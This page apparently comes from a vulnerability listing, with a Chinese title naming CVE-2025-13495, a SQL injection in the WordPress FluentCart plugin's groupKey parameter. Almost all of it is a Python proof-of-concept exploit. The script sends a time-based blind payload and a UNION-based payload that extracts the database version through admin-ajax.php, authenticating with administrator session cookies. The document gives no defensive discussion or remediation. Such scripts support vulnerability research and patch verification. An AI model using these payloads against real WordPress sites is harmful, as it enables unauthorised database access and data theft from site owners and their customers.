CVE-2025-13495 WordPress FluentCart插件groupKey参数SQL注入漏洞

import requests import sys # CVE-2025-13495 PoC - FluentCart SQL Injection via groupKey parameter # Target: WordPress site with FluentCart plugin <= 1.3.1 # Authentication: Requires Administrator-level access TARGET_URL = "http://target-wordpress-site.com" COOKIES = { "wordpress_logged_in_xxx": "admin_session_token" } def test_sql_injection(): """Test for SQL injection vulnerability in groupKey parameter""" # Basic injection test - time-based blind SQLi payload = "test' AND (SELECT * FROM (SELECT(SLEEP(5)))a) AND '1'='1" endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" params = { "action": "fluentcart_revenue_report", "groupKey": payload, "report_type": "daily" } print(f"[*] Testing SQL injection on {TARGET_URL}") print(f"[*] Payload: {payload}") try: response = requests.get( endpoint, params=params, cookies=COOKIES, timeout=10 ) if response.elapsed.total_seconds() >= 5: print("[+] SQL Injection confirmed! Server delayed response.") return True else: print("[-] No obvious SQL injection detected") return False except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") return False def extract_data(): """Extract database version using UNION-based injection""" # UNION-based injection to extract database version payload = "-1' UNION SELECT NULL,@@version,NULL,NULL,NULL-- -" endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" params = { "action": "fluentcart_revenue_report", "groupKey": payload, "report_type": "daily" } try: response = requests.get( endpoint, params=params, cookies=COOKIES, timeout=30 ) print(f"[*] Response status: {response.status_code}") # Parse response to extract database version return response.text except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-13495 - FluentCart SQL Injection PoC") print("=" * 60) if test_sql_injection(): print("\n[*] Attempting data extraction...") data = extract_data() if data: print(f"[+] Extracted data: {data[:500]}") else: print("\n[!] Target may not be vulnerable or authentication failed")